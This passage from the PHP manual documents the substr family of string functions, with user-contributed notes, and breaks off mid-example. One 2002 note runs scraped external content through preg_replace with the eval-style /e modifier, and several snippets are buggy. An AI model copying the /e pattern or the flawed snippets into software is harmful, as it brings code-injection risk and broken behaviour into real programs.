echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // warning
?>

See Also

  • strncmp() - Binary safe string comparison of the first n characters

User Contributed Notes

jimmetry at gmail dot com 16-Dec-2012 09:31
When you came to this page, you may have been looking for something a little simpler: A function that can check if a small string exists within a larger string starting at a particular index. Using substr_compare() for this can leave your code messy, because you need to check that your string is long enough (to avoid the warning), manually specify the length of the short string, and like many of the string functions, perform an integer comparison to answer a true/false question.

I put together a simple function to return true if $str exists within $mainStr. If $loc is specified, the $str must begin at that index. If not, the entire $mainStr will be searched.

<?php

function contains_substr($mainStr, $str, $loc = false) {
    if ($loc === false) return (strpos($mainStr, $str) !== false);
    if (strlen($mainStr) < strlen($str)) return false;
    if (($loc + strlen($str)) > strlen($mainStr)) return false;
    return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0);
}

?>
Skyborne 03-Aug-2012 10:55
Take note of the `length` parameter: "The default value is the largest of the length of the str compared to the length of main_str less the offset."

This is *not* the length of str as you might (I always) expect, so if you leave it out, you'll get unexpected results.  Example:

<?php
$hash = '$5$lalalalalalalala$crypt.output.here';
var_dump(substr_compare($hash, '$5$', 0)); # int(34)
var_dump(substr_compare($hash, '$5$', 0, 3)); # int(0)
var_dump(PHP_VERSION); # string(6) "5.3.14"
?>
sleek 23-May-2005 02:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
    function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
        $offset = (int) $offset;

        // Throw a warning because the offset is invalid
        if ($offset >= strlen($main_str)) {
            trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
            return false;
        }

        // We are comparing the first n-characters of each string, so let's use the PHP function to do it
        if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
            return strncasecmp($main_str, $str, $length);
        }

        // Get the substring that we are comparing
        if (is_int($length)) {
            $main_substr = substr($main_str, $offset, $length);
            $str_substr = substr($str, 0, $length);
        } else {
            $main_substr = substr($main_str, $offset);
            $str_substr = $str;
        }

        // Return a case-insensitive comparison of the two strings
        if ($case_insensitivity === true) {
            return strcasecmp($main_substr, $str_substr);
        }

        // Return a case-sensitive comparison of the two strings
        return strcmp($main_substr, $str_substr);
    }
}
?>


Count the number of substring occurrences

  • « substr_compare
  • substr_replace »
  • PHP Manual
  • String Functions
  • Count the number of substring occurrences

substr_count

(PHP 4, PHP 5)

substr_count — Count the number of substring occurrences

Description

int substr_count ( string $haystack , string $needle [, int $offset = 0 [, int $length ]] )

substr_count() returns the number of times the needle substring occurs in the haystack string. Please note that needle is case sensitive.

Note:

This function doesn't count overlapped substrings. See the example below!

Parameters

haystack

The string to search in

needle

The substring to search for

offset

The offset where to start counting

length

The maximum length after the specified offset to search for the substring. It outputs a warning if the offset plus the length is greater than the haystack length.

Return Values

This function returns an integer.

Changelog

Version | Description
5.1.0 | Added the offset and the length parameters

Examples

Example #1 A substr_count() example

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// the string is reduced to 's is a test', so it prints 1
echo substr_count($text, 'is', 3);

// the text is reduced to 's i', so it prints 0
echo substr_count($text, 'is', 3, 3);

// generates a warning because 5+10 > 14
echo substr_count($text, 'is', 5, 10);

// prints only 1, because it doesn't count overlapped substrings
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

See Also

  • count_chars() - Return information about characters used in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • substr() - Return part of a string
  • strstr() - Find the first occurrence of a string

User Contributed Notes

php at blink dot at 07-Jul-2014 10:30
This will handle a string where it is unknown if comma or period are used as thousand or decimal separator. Only exception where this leads to a conflict is when there is only a single comma or period and 3 possible decimals (123.456 or 123,456). An optional parameter is passed to handle this case (assume thousands, assume decimal, decimal when period, decimal when comma). It assumes an input string in any of the formats listed below.

function toFloat($pString, $seperatorOnConflict="f")
{
    $decSeperator=".";
    $thSeperator="";

    $pString=str_replace(" ", $thSeperator, $pString);

    $firstPeriod=strpos($pString, ".");
    $firstComma=strpos($pString, ",");
    if($firstPeriod!==FALSE && $firstComma!==FALSE) {
        if($firstPeriod<$firstComma) {
            $pString=str_replace(".", $thSeperator, $pString);
            $pString=str_replace(",", $decSeperator, $pString);
        }
        else {
            $pString=str_replace(",", $thSeperator, $pString);
        }
    }
    else if($firstPeriod!==FALSE || $firstComma!==FALSE) {
        $seperator=$firstPeriod!==FALSE?".":",";
        if(substr_count($pString, $seperator)==1) {
            $lastPeriodOrComma=strpos($pString, $seperator);
            if($lastPeriodOrComma==(strlen($pString)-4) && ($seperatorOnConflict!=$seperator && $seperatorOnConflict!="f")) {
                $pString=str_replace($seperator, $thSeperator, $pString);
            }
            else {
                $pString=str_replace($seperator, $decSeperator, $pString);
            }
        }
        else {
            $pString=str_replace($seperator, $thSeperator, $pString);
        }
    }
    return(float)$pString;
}

function testFloatParsing() {
    $floatvals = array(
        "22 000",
        "22,000",
        "22.000",
        "123 456",
        "123,456",
        "123.456",
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>thousands</th>
            <th>fraction</th>
            <th>dec. if period</th>
            <th>dec. if comma</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) toFloat($fval, "") . "</td>";
        echo "<td>" . (float) toFloat($fval, "f") . "</td>";
        echo "<td>" . (float) toFloat($fval, ".") . "</td>";
        echo "<td>" . (float) toFloat($fval, ",") . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
qeremy [atta] gmail [dotta] com 21-Sep-2013 05:45
Unicode example with "case-sensitive" option;

<?php
function substr_count_unicode($str, $substr, $caseSensitive = true, $offset = 0, $length = null) {
    if ($offset) {
        $str = substr_unicode($str, $offset, $length);
    }

    $pattern = $caseSensitive
        ? '~(?:'. preg_quote($substr) .')~u'
        : '~(?:'. preg_quote($substr) .')~ui';
    preg_match_all($pattern, $str, $matches);

    return isset($matches[0]) ? count($matches[0]) : 0;
}

function substr_unicode($str, $start, $length = null) {
    return join('', array_slice(
        preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY), $start, $length));
}

$s = 'Ümit yüzüm gözüm...';
print substr_count_unicode($s, 'ü');            // 3
print substr_count_unicode($s, 'ü', false);     // 4
print substr_count_unicode($s, 'ü', false, 10); // 1

print substr_count_unicode($s, 'üm');           // 2
print substr_count_unicode($s, 'üm', false);    // 3
?>
chrisstocktonaz at gmail dot com 27-Aug-2009 01:52
In regards to anyone thinking of using code contributed by zmindster at gmail dot com

Please take careful consideration of possible edge cases with that regex, in example:

$url = 'http://w3.host.tld/path/to/file/..../file.extension';
$url = 'http://w3.host.tld/path/to/file/../file.extension?malicous=....';

This would cause a infinite loop and for example be a possible entry point for a denial of service attack. A correct fix would require additional code, a quick hack would be just adding a additional check, without clarity or performance in mind:

...
$i = 0;
while (substr_count($url, '../') && ++$i < strlen($url))
...

-Chris
jrhodes at roket-enterprises dot com 18-Jun-2009 10:37
It was suggested to use

substr_count ( implode( $haystackArray ), $needle );

instead of the function described previously, however this has one flaw.  For example this array:

array (
  0 => "mystringth",
  1 => "atislong"
);

If you are counting "that", the implode version will return 1, but the function previously described will return 0.
gigi at phpmycoder dot com 12-Jan-2009 05:17
below was suggested a function for substr_count'ing an array, yet for a simpler procedure, use the following:

<?php
substr_count ( implode( $haystackArray ), $needle );
?>
info at fat-fish dot co dot il 06-May-2007 01:07
a simple version for an array needle (multiply sub-strings):
<?php

function substr_count_array( $haystack, $needle ) {
     $count = 0;
     foreach ($needle as $substring) {
          $count += substr_count( $haystack, $substring);
     }
     return $count;
}
?>
flobi at flobi dot com 26-Oct-2006 04:07
Making this case insensitive is easy for anyone who needs this.  Simply convert the haystack and the needle to the same case (upper or lower).

substr_count(strtoupper($haystack), strtoupper($needle))
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX 21-Dec-2003 10:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.


Replace text within a portion of a string

  • « substr_count
  • substr »
  • PHP Manual
  • String Functions
  • Replace text within a portion of a string

substr_replace

(PHP 4, PHP 5)

substr_replace — Replace text within a portion of a string

Description

mixed substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] )

substr_replace() replaces a copy of string delimited by the start and (optionally) length parameters with the string given in replacement.

Parameters

string

The input string.

An array of strings can be provided, in which case the replacements will occur on each string in turn. In this case, the replacement, start and length parameters may be provided either as scalar values to be applied to each input string in turn, or as arrays, in which case the corresponding array element will be used for each input string.

replacement

The replacement string.

start

If start is positive, the replacing will begin at the start'th offset into string.

If start is negative, the replacing will begin at the start'th character from the end of string.

length

If given and is positive, it represents the length of the portion of string which is to be replaced. If it is negative, it represents the number of characters from the end of string at which to stop replacing. If it is not given, then it will default to strlen( string ); i.e. end the replacing at the end of string. Of course, if length is zero then this function will have the effect of inserting replacement into string at the given start offset.

Return Values

The result string is returned. If string is an array then array is returned.

Examples

Example #1 Simple substr_replace() examples

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Original: $var<hr />\n";

/* These two examples replace all of $var with 'bob'. */
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* Insert 'bob' right at the beginning of $var. */
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* These next two replace 'MNRPQR' in $var with 'bob'. */
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* Delete 'MNRPQR' from $var. */
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

Example #2 Using substr_replace() to replace multiple strings at once

<?php
$input = array('A: XXX', 'B: XXX', 'C: XXX');

// A simple case: replace XXX in each string with YYY.
echo implode('; ', substr_replace($input, 'YYY', 3, 3))."\n";

// A more complicated case where each replacement is different.
$replace = array('AAA', 'BBB', 'CCC');
echo implode('; ', substr_replace($input, $replace, 3, 3))."\n";

// Replace a different number of characters each time.
$length = array(1, 2, 3);
echo implode('; ', substr_replace($input, $replace, 3, $length))."\n";
?>

The above example will output:

A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC

Notes

Note: This function is binary-safe.

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • substr() - Return part of a string
  • String access and modification by character

User Contributed Notes

ivijan dot stefan at gmail dot com 06-Mar-2014 05:15
I have a little function that works like substr_replace ()  what I use for some purpose. Maybe someone needs it.

<?php
function putinplace($string=NULL, $put=NULL, $position=false)
{
    $d1=$d2=$i=false;
    $d=array(strlen($string), strlen($put));
    if($position > $d[0]) $position=$d[0];
    for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i];
    for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i];
    return $string;
}

// Explanation
$string='My dog dont love postman'; // string
$put="'"; // put ' on position
$position=10; // number of characters (position)
print_r( putinplace($string, $put, $position) );
?>

RESULT: My dog don't love postman

This is a small powerful function that performs its job flawlessly.
blessador at gmail dot com 18-Jun-2013 05:36
<?php
$price = "12000";
$price = substr_replace ($price, ',', -3, 0)";
?>

ensure to remove the double quot  " at the end of substr_replace ($price, ',', -3, 0)" in the above  code to avoid error.
elloromtz at gmail dot com 18-Apr-2010 08:23
It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0.

<?php
substr_replace('eggs','x',-1,-1); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
?>

Same as:
<?php
substr_replace('eggs','x',-1,0); //eggxs
?>

<?php
substr_replace('huevos','x',-2,-2); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
?>

Same as:
<?php
substr_replace('huevos','x',-2,0); //huevxos
?>

Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it)

<?php
substr_replace('abcd', 'x', 0, -4); //xabcd
?>

Same as:
<?php
substr_replace('abcd','x',0,0); //xabcd
?>

<?php
substr_replace('abcd', 'x', 1, -3); //axbcd
?>

Same as:
<?php
substr_replace('abcd', 'x', 1, 0); //axbcd
?>
den dot gierling at web dot de 19-Feb-2010 07:32
My problem was that substr_replace() always added $replacement, so i wrote my own function.
This function only adds $replacement, if substr() took action.
The parameter $length is optional - like substr()'s.
Or I was too stupid using $start and $length...

<?php
function substr_replace_provided($string,$replacement,$start,$length=NULL)
{
    $tmp=substr($string,$start,$length);
    if($string!==$tmp) {
        $string = $tmp.$replacement;
    }
    return $string;
}
?>
kalim dot fleet at gmail dot com 10-Oct-2009 06:49
This will truncate a longer string to a smaller string of specified length while replacing the middle portion with a separator exactly in the middle.

<?php

$longString = 'abcdefghijklmnopqrstuvwxyz0123456789z.jpg';
$separator = '/.../';
$separatorlength = strlen($separator) ;
$maxlength = 25 - $separatorlength;
$start = $maxlength / 2 ;
$trunc =  strlen($longString) - $maxlength;

echo substr_replace($longString, $separator, $start, $trunc);

//prints "abcdefghij/.../56789z.jpg"

?>
admiral at nuclearpixel dot com 06-Oct-2009 08:54
Hey everyone, I was noticing that there are a lot of ways below that people are using to write their own string truncation functions, but it kinda seemed like a lot of them went a bit too far out to make any sense to a n00b. Not that I am one anymore, but I though I'd add a note on this topic myself, in hopes that it might help others understand things a little better.

Here's a concept that some people don't know about, or remember to use often enough; You can actually pull individual characters out of a string by referencing that string as though it were an array. Example: If I have the string $s = 'cat', I can use $s[0] to actually get out only the first character of that string, 'c'. I use that same principle below, but I just use a loop to iterate through a string and add the characters to the output variable one by one until the $lenth param has been reached, or until the end of the string.

I hope this can help someone out!

-Admiral Potato

<?php

function admiralsTruncate($string, $length){
    settype($string, 'string');
    settype($length, 'integer');
    for($a = 0; $a < $length AND $a < strlen($string); $a++){
        $output .= $string[$a];
    }
    return($output);
}

$my_string = 'cfcd208495d565ef66e7dff9f98764da';

echo admiralsTruncate($my_string, 6);    // outputs: cfcd20

echo '<br>';

echo admiralsTruncate($my_string, 9);    // outputs: cfcd20849

?>
billg AT microsoft.com 08-Apr-2009 04:31
Forget all of the mb_substr_replace() implementations mentioned in this page, they're all buggy.

Here is a version that mimics the behavior of substr_replace() exactly:

<?php

if (function_exists('mb_substr_replace') === false)
{
    function mb_substr_replace($string, $replacement, $start, $length = null, $encoding = null)
    {
        if (extension_loaded('mbstring') === true)
        {
            $string_length = (is_null($encoding) === true) ? mb_strlen($string) : mb_strlen($string, $encoding);

            if ($start < 0)
            {
                $start = max(0, $string_length + $start);
            }

            else if ($start > $string_length)
            {
                $start = $string_length;
            }

            if ($length < 0)
            {
                $length = max(0, $string_length - $start + $length);
            }

            else if ((is_null($length) === true) || ($length > $string_length))
            {
                $length = $string_length;
            }

            if (($start + $length) > $string_length)
            {
                $length = $string_length - $start;
            }

            if (is_null($encoding) === true)
            {
                return mb_substr($string, 0, $start) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length);
            }

            return mb_substr($string, 0, $start, $encoding) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length, $encoding);
        }

        return (is_null($length) === true) ? substr_replace($string, $replacement, $start) : substr_replace($string, $replacement, $start, $length);
    }
}

?>
juichenieder-phnet at yahoo dot co dot uk 25-Mar-2009 07:58
I've just taken a look at the post by ntoniazzi and I have a very small correction to make.

In the second if statement, it should be a triple equals, so:

<?php if ($length === null) ?>

It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short.  I hope this helps someone.
NiX0n at fragfest dot cx 09-Oct-2008 06:41
The preemptive test to see if $string is "too long" shouldn't add strlen($replacement) to $max.  $max should represent the absolute maximum length of string returned.  The size of the $replacement is irrelevant in that determination.

The rest of the function (unchanged below) operates as defined above.  Meaning, the size of the $replacement is subtracted from the $max, so that the returned string is exactly the length of $max.

<?php
function truncate($string, $max = 20, $replacement = '')
{
    if (strlen($string) <= $max)
    {
        return $string;
    }
    $leave = $max - strlen ($replacement);
    return substr_replace($string, $replacement, $leave);
}
?>
spcl dot delivery at gmail dot com 28-Jul-2008 01:14
the version of my predecessor will add $rep even if the string is shorter than max. fixed version:

<?php
function truncate($string, $max = 20, $rep = '')
{
    if (strlen($string) <= ($max + strlen($rep)))
    {
        return $string;
    }
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}
?>

To preserve the filename extension you can call it like this:

truncate([filename], 30, '...' . end(explode('.', [filename])))
eblejr AT phrebh DOT com 04-Jun-2008 05:42
PHP version of Java's removeCharAt() function:

<?php
function removeCharAt($str, $int){
  return substr_replace($str,"",$int,1);
}
?>
William Barry 23-Apr-2008 09:18
I recently ran across a situation where I need to strip a heavily nested html list such that only the top level was preserved.  I started with a regular expression solution, but found that I kept matching the wrong closing ul with an outer opening ul.

This was my alternative solution, and it seems to work well:

<?php

function stripNestedLists($str)
{
    $str2 = $str;
    $lastStr = $str2;

    do
    {
        // Find the first closing ul
        $cul = strpos($str2, '</ul>');
        $ul = 0;
        $lastUL = 0;
        do
        {
            // Find the next opening ul
            $lastUL = $ul;
            $ul = strpos($str2, '<ul', $ul+1);
        }
        while ($ul !== false && $ul < $cul);

        $lastStr = $str2;
        $str2 = substr_replace($str2, '', $lastUL, $cul-$lastUL+5);
        $str2 = trim($str2);
    }
    while (strlen($str2) > 0);

    return $lastStr;
}

?>

Hope this helps someone.
jaimthorn at yahoo dot com 26-Mar-2008 07:53
I recently needed a routine that would remove the characters in one string from another, like the regex

<?php
   $result = preg_replace("/[$chars]/", "", $string);
?>

and I needed it to be fast, and accept pretty much all input.  The regex above won't work when strlen($chars) == 0.  I came up with this, admittedly pretty horrible-looking code, that is quite fast:

<?php

function RemoveChars($string, $chars)
{
    return isset($chars{0}) ? str_replace($chars{0}, "", strtr($string, $chars, str_pad($chars{0}, strlen($chars), $chars{0}))) : $string;
}

?>

According to my own measurements, the regex in ONLY faster for when strlen($chars) == 1; for longer strings, my routine is faster.  What does it do?  Let's say you want to remove the period, the comma and the exclamation mark from a string, like so:
$result = RemoveChars("Isn't this, like, totally neat..!?", ".?!");
The str_pad function creates a string equal in length to the string that contains the character to be removed, but consisting only of the first character of that string:
The input is ".,!"
The output is "..."
The strtr function translates all characters in the string-to-be-processed ("Isn't this...") that also occur in the input (".,!") to the characters in the same position in the output ("...").  In other words:
Isn't this, like, totally neat..!?
becomes
Isn't this. like. totally neat....
Finally, the first character from the input (".,!") which happens to be, again, the period, is removed from that string by the str_replace call:
Isn't this like totally neat?
The function needs to check is $chars has at least one character, or else the str_pad function will fail.  If it's empty, then the unprocessed string is returned.
ntoniazzi at sqli dot com 14-Feb-2008 10:07
Almost... In the previous note, change this :
<?php
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if($start < 0) $start = mb_strlen($string) + $start;
    [...]
?>
alishahnovin at hotmail dot com 07-Aug-2007 09:56
I like the truncate function below...however, I found a few issues. Particularly if you have content that may have any kind of punctuation in it (?, !, ?!?, --, ..., .., ;, etc.)

The older function would end up looking like "blah blah?..." or "blah blah,..." which doesn't look so nice to me...

Here's my fix. It removes all trailing punctuation (that you include in the $punctuation string below) and then adds an ellipse. So even if it has an ellipse with 3 dots, 2 dots, 4 dots, it'll be removed, then re-added.

<?php
function truncate($text,$numb,$etc = "...") {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));

$punctuation = ".!?:;,-"; //punctuation you want removed

$text = (strspn(strrev($text),  $punctuation)!=0)
        ?
        substr($text, 0, -strspn(strrev($text),  $punctuation))
        :
$text;

$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}
?>

I also needed a sort of "middle" truncate. The above function truncates around the end, but if you want to truncate around the middle (ie "Hello this is a long string." --> "Hello this ... long string.") you can use this (requires the truncate function):

<?php
function mtruncate($text, $numb, $etc = " ... ") {
    $first_part = truncate(truncate($text, strlen($text)/2, ""), $numb/2, "");
    $second_part = truncate(strrev(truncate(strrev($text), strlen($text)/2, "")), $numb/2, "");
    return $first_part.$etc.$second_part;
}
?>
chuayw2000 at hotmail dot com 09-Dec-2005 12:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
        if ($encoding == null){
            if ($length == null){
                return mb_substr($string,0,$start).$replacement;
            }
            else{
                return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
            }
        }
        else{
            if ($length == null){
                return mb_substr($string,0,$start,$encoding).$replacement;
            }
            else{
                return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
            }
        }
    }
}
?>
hermes at andycostell dot com 27-Aug-2005 08:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
    }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi 13-Jul-2005 09:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
    if(strlen($string) > $limit) {
        return substr_replace(strip_tags($string),$repl,$start,$limit);
    } else {
        return $string;
    };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
danieldoorduin at hotmail dot com 10-Dec-2004 11:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
dmron 18-Jun-2004 01:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
tony at outshine dot com 10-May-2004 11:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        $str = substr_replace($str, $dots, $len - $dotlen);
    }
    return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu 23-Feb-2004 04:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        substr_replace($str, $dots, $len - $dotlen);
    }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl) 20-Jan-2004 08:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
david at ethinkn dot com 06-Jul-2003 02:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com 09-Oct-2002 12:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com 13-Feb-2002 07:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
29-Sep-2001 05:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com 16-Apr-2001 09:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/   */
echo substr_replace ($var, 'testing', 10, 2);


Return part of a string

  • Â« substr_replace
  • trim Â»
  • PHP Manual
  • String Functions
  • Return part of a string

substr

(PHP 4, PHP 5)

substr — Return part of a string

Description

string substr ( string $string , int $start [, int $length ] )

Returns the portion of string specified by the start and length parameters.

Parameters

string

The input string. Must be one character or longer.

start

If start is non-negative, the returned string will start at the start'th position in string, counting from zero. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth.

If start is negative, the returned string will start at the start'th character from the end of string.

If string is less than or equal to start characters long, FALSE will be returned.

Example #1 Using a negative start

<?php
$rest = substr("abcdef", -1);    // returns "f"
$rest = substr("abcdef", -2);    // returns "ef"
$rest = substr("abcdef", -3, 1); // returns "d"
?>

length

If length is given and is positive, the string returned will contain at most length characters beginning from start (depending on the length of string).

If length is given and is negative, then that many characters will be omitted from the end of string (after the start position has been calculated when a start is negative). If start denotes the position of this truncation or beyond, false will be returned.

If length is given and is 0, FALSE or NULL an empty string will be returned.

If length is omitted, the substring starting from start until the end of the string will be returned.

Example #2 Using a negative length

<?php
$rest = substr("abcdef", 0, -1);  // returns "abcde"
$rest = substr("abcdef", 2, -1);  // returns "cde"
$rest = substr("abcdef", 4, -4);  // returns false
$rest = substr("abcdef", -3, -1); // returns "de"
?>

Return Values

Returns the extracted part of string; or FALSE on failure, or an empty string.

Changelog

Version | Description
5.2.2 - 5.2.6 | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.

Examples

Example #3 Basic substr() usage

<?php
echo substr('abcdef', 1);     // bcdef
echo substr('abcdef', 1, 3);  // bcd
echo substr('abcdef', 0, 4);  // abcd
echo substr('abcdef', 0, 8);  // abcdef
echo substr('abcdef', -1, 1); // f

// Accessing single characters in a string
// can also be achieved using "square brackets"
$string = 'abcdef';
echo $string[0];                 // a
echo $string[3];                 // d
echo $string[strlen($string)-1]; // f

?>

Example #4 substr() casting behaviour

<?php
class apple {
    public function __toString() {
        return "green";
    }
}

echo "1) ".var_export(substr("pear", 0, 2), true).PHP_EOL;
